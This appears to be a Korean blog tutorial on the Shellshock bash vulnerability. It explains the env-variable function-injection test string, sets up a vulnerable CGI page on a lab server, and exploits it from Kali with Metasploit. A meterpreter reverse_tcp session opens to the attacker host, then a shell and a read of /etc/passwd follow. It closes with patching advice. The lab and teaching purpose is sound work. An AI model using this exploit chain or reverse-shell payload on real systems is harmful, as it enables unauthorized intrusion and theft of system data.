- 배시쉘 버그
https://www.exploit-db.com 에서 찾아본다.
> Search 에서 bash 검색
> 2014-09-25 GNU Bash 클릭
> 정보 확인.
Exploit Database Note: The following is an excerpt from: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ Like “real” programming languages, Bash has functions, though in a somewhat limited implementation, and it is possible to put these bash functions into environment variables. This flaw is triggered when extra code is added to the end of these function definitions (inside the enivronment variable). Something like: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test The patch used to fix this flaw, ensures that no code is allowed after the end of a bash function. So if you run the above example with the patched version of bash, you should get an output similar to: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x'
|
> 간단히 해석해보면 배시쉘에서 함수도 변수로 설정이 가능하도록 되어있는대 그 함수 뒤에 공격자가 코드를 추가하면 추가한 코드도 이상없이 실행이 된다든 것이다.
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a te
> 위 env 명령어를 쳤을때 출력값이 위와 같다면 버그가 존재하는 쉘이고
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
> 위와 같이 오류가 뜨면 안전하다고 할 수 있다.
- 코드 해석
1. env CMD는 아래의 차이점으 통해 간단히 알아보자.
# export LANG=ko_KR.UTF-8 ; system-config-network-gui
> export로 언어를 바꾸고 툴을 실행하면 툴이 끝나도 언어가 한국어로 설정이 유지된다.
# env LANG=ko_KR.UTF-8 system-config-network-gui
> env 로 언어를 설정하면 툴이 끝나면 초기에 설정되었었던 언어로 다시 설정이 되돌아간다.
2. x = () { :; }; echo vulnerable
함수를 선언하는 기본적인 방법이다.
: 은 아무런 동작을 하지 않는 것을 의미한다.
( 아직 개발 전의 옵션들에 대해 문법을 미리 맞춰두거나
아무런 내용이 들어가지 않으면 실행되지 않는 명령어 / 툴에 대해 사용한다. )
[예] while : /* while의 조건문이 : 아무런 동작을 하지 않는다 = 항상 참 ( 무한 루프 ) */
; echo vulnerable 의 ; 는 단순히 여러 명령어를 한줄에 쓰기 위한 것이다.
[예] # date ; cal ; hostname
3. bash -c "echo this is a test"
bash -c 는 단순히 bash 쉘에서 실행하겠다는 의미이다.
- 확인
> 먼저 자신이 사용하는 OS의 버전 정보를 확인한다.
> 많은 실습을 위해 애초에 버그가 많은 낮은 버전으로 설치해 두었다.
> 역시 배시쉘 버그가 나타났다.
- 공격
kali ( 192.168.27.50 ) ---> linux200 ( 192.168.27.200 )
공격을 위해 배시셀 버그를 알아보는 것이 이니므로 자세한 설명보단 간단히 공격해봄으로 얼마나 위험한지 정도만 알아보도록 하겠습니다.
( linux200 )
웹서버 구성 ( CGI )
# vi /etc/httpd/conf/httpd.conf
|
NameVirtualHost *:80 <VirtualHost *:80> ServerAdmin root@example.com DocumentRoot /www1 ServerName www.example.com <Directory /www1> Options Indexes Includes </Directory> ScriptAlias /cgi-bin/ /www1/cgi-bin/ </VirtualHost> |
|
> 맨 마지막 부분에 붙여넣어 줍니다.
# mkdir -p /www1/cgi-bin
# vi /www1/cgi-bin/test.cgi
|
#!/bin/bash echo "Content-Type: text/html" echo "" echo "<pre>" echo "My username is : " whoami echo "" echo "My id is : " id echo "" echo "</pre>" |
|
> 간단히 whoami 와 id 명령어를 실행하는 페이지를 만듭니다.
# chmod 555 /www1/cgi-bin/test.cgi
# service httpd restart
# firefox http://192.168.27.200/cgi-bin/test.cgi
> whoami와 id 명령어가 실행되어 출력되는 것으로 보아 이 페이지는 bash shell로 잘 작동하는 것 같습니다.
( kali )
msfconsole 툴로 공격
msfconsole을 사용하기 위해서는 postgresql ( 5432)이 필요하다.
# service postgresql restart
# service postgresql status
# msfconsole -q /* 처음에 시간이 좀 걸립니다. */
|
msf > search bash_env_exec [!] Module database cache not built yet, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner exploit/linux/http/advantech_switch_bash_env_exec 2015-12-01 excellent Advantech Switch Bash Environment Variable Code Injection (Shellshock) exploit/multi/ftp/pureftpd_bash_env_exec 2014-09-24 excellent Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock) exploit/multi/http/apache_mod_cgi_bash_env_exec 2014-09-24 excellent Apache mod_cgi Bash Environment Variable Code Injection (Shellshock) exploit/multi/http/cups_bash_env_exec 2014-09-24 excellent CUPS Filter Bash Environment Variable Code Injection (Shellshock) msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec msf exploit(apache_mod_cgi_bash_env_exec) > set RHOST 192.168.27.200 RHOST => 192.168.27.200 msf exploit(apache_mod_cgi_bash_env_exec) > set LHOST 192.168.27.50 LHOST => 192.168.27.50 msf exploit(apache_mod_cgi_bash_env_exec) > set TARGETURI http://192.168.20.200/cgi-bin/test.cgi TARGETURI => http://192.168.20.200/cgi-bin/test.cgi msf exploit(apache_mod_cgi_bash_env_exec) > set PAYLOAD linux/x86/meterpreter/reverse_tcp PAYLOAD => linux/x86/meterpreter/reverse_tcp msf exploit(apache_mod_cgi_bash_env_exec) > run [*] Started reverse TCP handler on 192.168.27.50:4444 [*] Command Stager progress - 100.60% done (837/832 bytes) [*] Transmitting intermediate stager for over-sized stage...(105 bytes) [*] Sending stage (1495599 bytes) to 192.168.27.200 [*] Meterpreter session 1 opened (192.168.27.50:4444 -> 192.168.27.200:54516) at 2017-11-03 18:54:42 +0900 meterpreter > sysinfo Computer : linux200.example.com OS : Linux linux200.example.com 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010 (i686) Architecture : i686 Meterpreter : x86/linux meterpreter > shell Process 5001 created. Channel 1 created. sh: no job control in this shell sh-3.2$ ls test.cgi sh-3.2$ pwd /www1/cgi-bin sh-3.2$ id uid=48(apache) gid=48(apache) groups=48(apache) sh-3.2$ cat /etc/passwd .... 중략 ..... |
|
> 몇가지 절차를 수행하고 들어가면 linux200 서버에서 직접 명령어를 수행하듯 모든 것이 사용 가능하다.
- 해결
지금은 배시쉘의 업데이트로 이러한 문제를 해결 할 수 있다.
# yum install -y bash
[참고] CentOS 5.5
bash 쉘을 업데이트를 해도 버전이 올라가지 않고 유지가 되며 배시쉘 버그가 계속해서 발생한다.
- 실제 사용하는 서버에서는 최신버전을 설치해서 사용하는 것이 안전하다.
'Security > 정보 수집' 카테고리의 다른 글
말테고 ( maltego ) (0) | 2017.11.03 |
---|---|
DNS 서버를 사용하여 정보 수집 (0) | 2017.11.03 |
인터넷을 통한 정보 수집 ( 정보 보안 사이트 ) (0) | 2017.11.03 |
정보 수집 ( Data Gathering ) (0) | 2017.11.03 |
시스템/모의해킹 진단 범위와 절차 (0) | 2017.11.03 |